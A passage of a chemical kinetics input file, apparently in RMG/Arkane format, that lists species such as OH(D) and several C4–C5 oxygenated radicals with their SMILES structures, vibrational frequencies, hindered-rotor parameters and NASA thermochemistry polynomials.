comment="""GRI-Mech"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.51457,2.92814e-05,-5.32177e-07,1.01951e-09,-3.85951e-13,3414.25,2.10435], Tmin=(100,'K'), Tmax=(1145.75,'K')), NASAPolynomial(coeffs=[3.07194,0.000604011,-1.39759e-08,-2.13452e-11,2.4807e-15,3579.39,4.57799], Tmin=(1145.75,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(28.3945,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), label="""OH(D)""", comment="""Thermo library: primaryThermoLibrary"""), ) species( label = 'C=C=CC[C]=O(17857)', structure = SMILES('C=C=CC[C]=O'), E0 = (207.401,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,540,610,2055,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,180],'cm^-1')), HinderedRotor(inertia=(0.837153,'amu*angstrom^2'), symmetry=1, barrier=(19.2478,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.833656,'amu*angstrom^2'), symmetry=1, barrier=(19.1674,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 2, opticalIsomers = 1, molecularWeight = (81.0926,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.87226,0.0394271,-1.81593e-05,-1.99254e-09,2.42603e-12,25027.1,20.9956], Tmin=(100,'K'), Tmax=(1224.98,'K')), NASAPolynomial(coeffs=[12.1375,0.0189865,-9.1451e-06,1.81782e-09,-1.3045e-13,21530.9,-34.6167], Tmin=(1224.98,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(207.401,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(249.434,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds) + radical(CCCJ=O)"""), ) species( label = '[CH2]C=C(O)C[C]=O(14292)', structure = SMILES('[CH2]C=C(O)C[C]=O'), E0 = (-32.2631,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.837486,0.0561656,-2.47053e-05,-1.53133e-08,1.12259e-11,-3754.67,25.9803], Tmin=(100,'K'), Tmax=(1006.09,'K')), NASAPolynomial(coeffs=[18.8412,0.0140044,-5.70522e-06,1.15888e-09,-8.87536e-14,-8866.19,-68.3855], Tmin=(1006.09,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-32.2631,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(Allyl_P)"""), ) species( label = 'C=[C]C(O)C=C[O](28249)', structure = SMILES('C=[C]C(O)C=C[O]'), E0 = (81.4283,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.868191,0.058578,-3.69679e-05,-9.29534e-10,6.33511e-12,9915.51,28.8847], Tmin=(100,'K'), Tmax=(984.284,'K')), NASAPolynomial(coeffs=[17.0756,0.0152893,-5.40257e-06,9.93485e-10,-7.19861e-14,5631.38,-54.6052], Tmin=(984.284,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(81.4283,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)(Cds-Cds)OsH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + group(Cds-CdsHH) + radical(C=COJ) + radical(Cds_S)"""), ) species( label = '[CH]=CC(O)C[C]=O(14298)', structure = SMILES('[CH]=CC(O)C[C]=O'), E0 = (111.149,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3120,650,792.5,1650,3615,1277.5,1000,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,3010,987.5,1337.5,450,1655,320.129],'cm^-1')), HinderedRotor(inertia=(0.123847,'amu*angstrom^2'), symmetry=1, barrier=(8.9959,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.12368,'amu*angstrom^2'), symmetry=1, barrier=(9.00012,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.123695,'amu*angstrom^2'), symmetry=1, barrier=(8.99841,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.123734,'amu*angstrom^2'), symmetry=1, barrier=(8.99724,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.13551,0.0648547,-7.10464e-05,4.22013e-08,-1.0197e-11,13469.7,29.133], Tmin=(100,'K'), Tmax=(997.841,'K')), NASAPolynomial(coeffs=[11.0998,0.0249108,-1.10003e-05,2.08363e-09,-1.45734e-13,11481.2,-18.9174], Tmin=(997.841,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(111.149,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCCJ=O) + radical(Cds_P)"""), ) species( label = 'C=CC([O])C[C]=O(12767)', structure = SMILES('C=CC([O])C[C]=O'), E0 = (94.4133,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,3010,987.5,1337.5,450,1655,327.467,327.498,327.512],'cm^-1')), HinderedRotor(inertia=(0.00157168,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.133556,'amu*angstrom^2'), symmetry=1, barrier=(10.162,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.133511,'amu*angstrom^2'), symmetry=1, barrier=(10.1618,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), collisionModel = TransportData(shapeIndex=2, epsilon=(4010.29,'J/mol'), sigma=(6.50189,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=626.40 K, Pc=33.11 bar (from Joback method)"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.30725,0.0581918,-5.17956e-05,2.43758e-08,-4.69957e-12,11453,27.9144], Tmin=(100,'K'), Tmax=(1226.77,'K')), NASAPolynomial(coeffs=[11.6362,0.0245133,-1.06162e-05,1.99763e-09,-1.39207e-13,8918.77,-24.028], Tmin=(1226.77,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(94.4133,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CC(C)OJ) + radical(CCCJ=O)"""), ) species( label = 'C=CC(O)[CH][C]=O(14294)', structure = SMILES('C=CC(O)[CH][C]=O'), E0 = (63.9546,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.2287,0.0582732,-5.36454e-05,2.59033e-08,-5.04887e-12,7793.95,30.8846], Tmin=(100,'K'), Tmax=(1228.63,'K')), NASAPolynomial(coeffs=[12.4737,0.0216632,-8.94916e-06,1.65057e-09,-1.13938e-13,5030.77,-25.6812], Tmin=(1228.63,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(63.9546,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCCJ=O) + radical(CCJCO)"""), ) species( label = '[CH2][C]=C(O)CC=O(28250)', structure = SMILES('[CH2][C]=C(O)CC=O'), E0 = (45.618,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.842567,0.0581513,-3.53725e-05,3.99068e-10,4.41859e-12,5609.93,25.6206], Tmin=(100,'K'), Tmax=(1072.73,'K')), NASAPolynomial(coeffs=[17.4026,0.0174378,-7.85734e-06,1.57946e-09,-1.16711e-13,846.698,-61.0761], Tmin=(1072.73,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(45.618,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S)"""), ) species( label = 'C=[C]C([O])CC=O(14297)', structure = SMILES('C=[C]C([O])CC=O'), E0 = (172.294,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2782.5,750,1395,475,1775,1000,370.795,371.138,371.89],'cm^-1')), HinderedRotor(inertia=(0.00121778,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.101842,'amu*angstrom^2'), symmetry=1, barrier=(9.97963,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.101963,'amu*angstrom^2'), symmetry=1, barrier=(9.97948,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.56303,0.0571762,-5.18673e-05,2.64087e-08,-5.77184e-12,20807,26.6598], Tmin=(100,'K'), Tmax=(1059.6,'K')), NASAPolynomial(coeffs=[8.5899,0.0306493,-1.43145e-05,2.78136e-09,-1.9716e-13,19317.9,-7.64749], Tmin=(1059.6,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(172.294,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CC(C)OJ)"""), ) species( label = 'C#CC(O)C[CH][O](23564)', structure = SMILES('C#CC(O)C[CH][O]'), E0 = (199.017,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([750,770,3400,2100,3025,407.5,1350,352.5,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,2175,525,3615,1277.5,1000,344.785,345.399,345.557],'cm^-1')), HinderedRotor(inertia=(0.127325,'amu*angstrom^2'), symmetry=1, barrier=(10.7897,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.00156688,'amu*angstrom^2'), symmetry=1, barrier=(10.8007,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.597782,'amu*angstrom^2'), symmetry=1, barrier=(50.4435,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(1.41526,'amu*angstrom^2'), symmetry=1, barrier=(119.627,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.681206,0.0778725,-0.000112468,9.02623e-08,-2.87334e-11,24051,28.2333], Tmin=(100,'K'), Tmax=(859.09,'K')), NASAPolynomial(coeffs=[9.81069,0.0278662,-1.20622e-05,2.18601e-09,-1.46063e-13,22759.2,-12.8141], Tmin=(859.09,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(199.017,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(O2s-CsH) + group(Cs-CsCsHH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Ct-CtCs) + group(Ct-CtH) + radical(CCOJ) + radical(CCsJOH)"""), ) species( label = '[CH2][C]=CC[C]=O(17860)', structure = SMILES('[CH2][C]=CC[C]=O'), E0 = (420.137,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,3010,987.5,1337.5,450,1655,1855,455,950,3000,3100,440,815,1455,1000,1129.72],'cm^-1')), HinderedRotor(inertia=(0.768165,'amu*angstrom^2'), symmetry=1, barrier=(17.6616,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.764939,'amu*angstrom^2'), symmetry=1, barrier=(17.5875,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.0481167,'amu*angstrom^2'), symmetry=1, barrier=(17.5892,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 4, opticalIsomers = 1, molecularWeight = (81.0926,'amu'), collisionModel = TransportData(shapeIndex=2, epsilon=(3515.61,'J/mol'), sigma=(5.8495,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=549.13 K, Pc=39.86 bar (from Joback method)"""), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.7824,0.0420099,-2.54006e-05,5.06578e-09,1.62036e-13,50616.2,23.0245], Tmin=(100,'K'), Tmax=(1352.82,'K')), NASAPolynomial(coeffs=[12.9961,0.0178358,-8.55624e-06,1.67303e-09,-1.17996e-13,46760.2,-37.5019], Tmin=(1352.82,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(420.137,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(245.277,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S) + radical(CCCJ=O)"""), ) species( label = 'C=[C]C([O])C[C]=O(14302)', structure = SMILES('C=[C]C([O])C[C]=O'), E0 = (332.255,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1685,370,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1855,455,950,2950,3100,1380,975,1025,1650,292.381,298.886,303.876],'cm^-1')), HinderedRotor(inertia=(0.00185725,'amu*angstrom^2'), symmetry=1, barrier=(0.121645,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.123482,'amu*angstrom^2'), symmetry=1, barrier=(8.24342,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.126955,'amu*angstrom^2'), symmetry=1, barrier=(8.24204,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 4, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.36142,0.0616158,-7.18919e-05,4.697e-08,-1.26519e-11,40053,28.205], Tmin=(100,'K'), Tmax=(893.913,'K')), NASAPolynomial(coeffs=[9.33575,0.0259326,-1.20145e-05,2.31392e-09,-1.62872e-13,38627.3,-9.37216], Tmin=(893.913,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(332.255,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(270.22,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CC(C)OJ) + radical(CCCJ=O)"""), ) species( label = '[CH2][C]=C(O)C[C]=O(28251)', structure = SMILES('[CH2][C]=C(O)C[C]=O'), E0 = (205.579,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,1855,455,950,350,440,435,1725,2750,2850,1437.5,1250,1305,750,350,3000,3100,440,815,1455,1000,1685,370,406.919],'cm^-1')), HinderedRotor(inertia=(0.145973,'amu*angstrom^2'), symmetry=1, barrier=(17.1474,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.145972,'amu*angstrom^2'), symmetry=1, barrier=(17.1474,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.145945,'amu*angstrom^2'), symmetry=1, barrier=(17.1467,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.145965,'amu*angstrom^2'), symmetry=1, barrier=(17.1468,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 4, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.777086,0.0610561,-5.03401e-05,1.4776e-08,4.56097e-14,24849.9,26.6727], Tmin=(100,'K'), Tmax=(1069.77,'K')), NASAPolynomial(coeffs=[17.9853,0.0129575,-5.67572e-06,1.13674e-09,-8.42668e-14,20238.6,-61.852], Tmin=(1069.77,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(205.579,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-OdCsH) + radical(Allyl_P) + radical(Cds_S) + radical(CCCJ=O)"""), ) species( label = 'C=[C]C(O)[CH][C]=O(28252)', structure = SMILES('C=[C]C(O)[CH][C]=O'), E0 = (301.796,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,3025,407.5,1350,352.5,1855,455,950,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,1685,370,507.865,4000],'cm^-1')), HinderedRotor(inertia=(0.0767533,'amu*angstrom^2'), symmetry=1, barrier=(14.0422,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.610743,'amu*angstrom^2'), symmetry=1, barrier=(14.0422,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.135768,'amu*angstrom^2'), symmetry=1, barrier=(3.12158,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.0767733,'amu*angstrom^2'), symmetry=1, barrier=(14.0421,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 4, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.34314,0.0610288,-7.15808e-05,4.58942e-08,-1.19548e-11,36391.2,30.956], Tmin=(100,'K'), Tmax=(929.363,'K')), NASAPolynomial(coeffs=[10.1585,0.0230865,-1.03406e-05,1.9636e-09,-1.37227e-13,34752.7,-10.9272], Tmin=(929.363,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(301.796,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(CCJCO) + radical(CCCJ=O) + radical(Cds_S)"""), ) species( label = '[CH]=[C]C(O)C[C]=O(28253)', structure = SMILES('[CH]=[C]C(O)C[C]=O'), E0 = (348.99,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3120,650,792.5,1650,3615,1277.5,1000,1855,455,950,2750,2850,1437.5,1250,1305,750,350,1380,1390,370,380,2900,435,1685,370,272.183],'cm^-1')), HinderedRotor(inertia=(0.150805,'amu*angstrom^2'), symmetry=1, barrier=(7.92794,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.150809,'amu*angstrom^2'), symmetry=1, barrier=(7.92804,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.150806,'amu*angstrom^2'), symmetry=1, barrier=(7.92802,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.1508,'amu*angstrom^2'), symmetry=1, barrier=(7.92805,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 4, opticalIsomers = 1, molecularWeight = (97.092,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.13674,0.06869,-9.10142e-05,6.09357e-08,-1.39351e-11,42071.7,29.6226], Tmin=(100,'K'), Tmax=(650.021,'K')), NASAPolynomial(coeffs=[9.89952,0.0244611,-1.13214e-05,2.14554e-09,-1.48305e-13,40727.7,-10.4535], Tmin=(650.021,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(348.99,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CCCJ=O) + radical(Cds_P)"""), ) species( label = 'C=C=C(O)CC=O(28254)', structure = SMILES('C=C=C(O)CC=O'), E0 = (-167.119,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.925474,0.0555781,-2.7854e-05,-7.4093e-09,7.14416e-12,-19978.7,23.6218], Tmin=(100,'K'), Tmax=(1055.31,'K')), NASAPolynomial(coeffs=[17.3829,0.0173284,-7.78406e-06,1.57849e-09,-1.17716e-13,-24795.8,-63.028], Tmin=(1055.31,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-167.119,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsOs) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds)"""), ) species( label = 'C=CC(O)C=C=O(14307)', structure = SMILES('C=CC(O)C=C=O'), E0 = (-179.664,'kJ/mol'), spinMultiplicity = 1, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.844445,0.0739299,-0.000103028,8.17549e-08,-2.61868e-11,-21499.2,24.5154], Tmin=(100,'K'), Tmax=(820.207,'K')), NASAPolynomial(coeffs=[9.31907,0.0285719,-1.2709e-05,2.35482e-09,-1.60206e-13,-22753.9,-13.864], Tmin=(820.207,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-179.664,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cdd-O2d)CsOsH) + group(Cds-CdsCsH) + group(Cds-(Cdd-O2d)CsH) + group(Cds-CdsHH)"""), ) species( label = '[CH2]C(=CO)C[C]=O(14236)', structure = SMILES('[CH2]C(=CO)C[C]=O'), E0 = (-29.5266,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([3615,1277.5,1000,1855,455,950,350,440,435,1725,2750,2850,1437.5,1250,1305,750,350,3000,3100,440,815,1455,1000,3010,987.5,1337.5,450,1655,180],'cm^-1')), HinderedRotor(inertia=(0.954771,'amu*angstrom^2'), symmetry=1, barrier=(21.9521,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.952009,'amu*angstrom^2'), symmetry=1, barrier=(21.8886,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.951705,'amu*angstrom^2'), symmetry=1, barrier=(21.8816,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.953727,'amu*angstrom^2'), symmetry=1, barrier=(21.9281,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.636097,0.057278,-1.55871e-05,-3.36923e-08,2.00748e-11,-3415,25.454], Tmin=(100,'K'), Tmax=(963.153,'K')), NASAPolynomial(coeffs=[22.0242,0.00863463,-2.40919e-06,5.0148e-10,-4.37789e-14,-9398.75,-86.6034], Tmin=(963.153,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-29.5266,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsCs) + group(Cds-CdsOsH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(Allyl_P)"""), ) species( label = 'C=[C]C(O)C(=C)[O](14497)', structure = SMILES('C=[C]C(O)C(=C)[O]'), E0 = (72.0046,'kJ/mol'), modes = [ HarmonicOscillator(frequencies=([1685,370,2950,3000,3050,3100,1330,1430,900,1050,1000,1050,1600,1700,3615,1277.5,1000,350,440,435,1725,1380,1390,370,380,2900,435,418.502,418.788,419.084],'cm^-1')), HinderedRotor(inertia=(0.0748184,'amu*angstrom^2'), symmetry=1, barrier=(9.33062,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.0751913,'amu*angstrom^2'), symmetry=1, barrier=(9.33013,'kJ/mol'), semiclassical=False), HinderedRotor(inertia=(0.0749943,'amu*angstrom^2'), symmetry=1, barrier=(9.32591,'kJ/mol'), semiclassical=False), ], spinMultiplicity = 3, opticalIsomers = 1, molecularWeight = (98.0999,'amu'), energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85), thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.910647,0.0639176,-6.36516e-05,3.26891e-08,-6.65416e-12,8774.8,29.0222], Tmin=(100,'K'), Tmax=(1193.58,'K')), NASAPolynomial(coeffs=[14.2257,0.0192951,-7.57309e-06,1.36659e-09,-9.3486e-14,5596.3,-37.5713], Tmin=(1193.58,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(72.0046,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group 